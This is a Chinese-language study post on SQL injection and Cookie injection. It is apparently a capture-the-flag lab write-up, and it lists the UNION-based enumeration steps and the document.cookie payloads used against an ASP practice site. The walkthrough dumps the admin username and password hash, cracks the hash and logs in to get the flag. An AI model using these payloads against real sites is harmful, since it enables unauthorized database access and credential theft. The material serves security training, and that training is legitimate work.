CooKie入
知识梳理
- SQL注入原理:用户输入的数据可以被拼接到原有代码执行
- SQL注入基本流程:
- (1). 判断注入点,例:
数字型:id=1 and 1=1
页面正常id=1 and 1=2
页面不正常;
字符型:单双引号、括号闭合,观察页面是否正常;
使用sleep()观察页面是否存在延迟; - (2)猜解字段数,例:
and 1=2 order by 1,2,3
通过观察页面是否正常来确定字段数 - (3)查看显错点
and 1=2 union select 1,2,3
通过发现显错位置可以知道在哪里输出想要的信息 - (4)查询库名、表名、字段名、字段内容
可以通过查询系统自带库information_schema来获取想要的内容。
-查询库名union select 1,2,database()
-查询表名union select 1,2,table_name from information_schema.tables where table_schema = database()
-查询字段名union select 1,2,column_name from information_schema.columns where table_schema = database() and table_name='TABLE_NAME'
-查询字段内容union select 1,column1,column2 from table_name limit 0,1
group_concat可以将多行数据整合到一行输出union select 1,2,group_concat(flag) from TABLE_NAME
- Cookie注入原理:
Cookie是一种储存在用户本地上的数据,指某些网站为了辨别用户身份、进行 session 跟踪而储存在用户本地终端上的数据(通常经过加密)。
后端接收数据的时候同时接收了GET、POST、Cookie传入的参数,而检验方法忽略了对Cookie数据的校验。
Cookie注入常见于老的ASP网站和PHP版本小于5.4以下的版本。
Cookie注入存在于所有数据库中,Cookie注入核心是传参方式。
靶场演示
靶场地址
地址http://59.63.200.79:8004/shownews.asp?id=171
修改id=171-1页面发生改变,说明输入的数据被当做sql执行了。尝试输入and 1=2 发现页面传参被拦截。
站点为ASP站点可能存在cookie注入,删除GET传参,手动在页面添加Cookie测试。页面正常,说明Cookie传参被后台接收
ookie注入设置Cookie的方式有三种,burpSuite修改数据包、浏览器控制台Js修改和浏览器插件修改,最常用的为控制台修改。所有修改方式都需要对Cookie的参数进行URL编码和删除原有的传参方式。
注意:Cookie传参需要对参数进行Url编码,否则将不会起作用。
猜测字段数
document.cookie='id='+escape('170 order by 10')
页面正常判断存在10个字段
判断显错位置
document.cookie='id='+escape('170 union select 1,2,3,4,5,6,7,8,9,10 from admin')
这里是一个access数据库并没有系统自带的数据库名和表名,只能猜测
查询字段内容
document.cookie='id='+escape('170 union select 1,username,password,4,5,6,7,8,9,10 from admin')
猜测常用的字段名
得到一串字符串,通过观察可以知道这是属于MD5密文
解密得到密码welcome
通过目录扫描得到网站后台界面http://59.63.200.79:8004/admin/Login.asp
填入账号密码登陆后得到flag
- 点赞
- 收藏
- 关注作者
评论(0)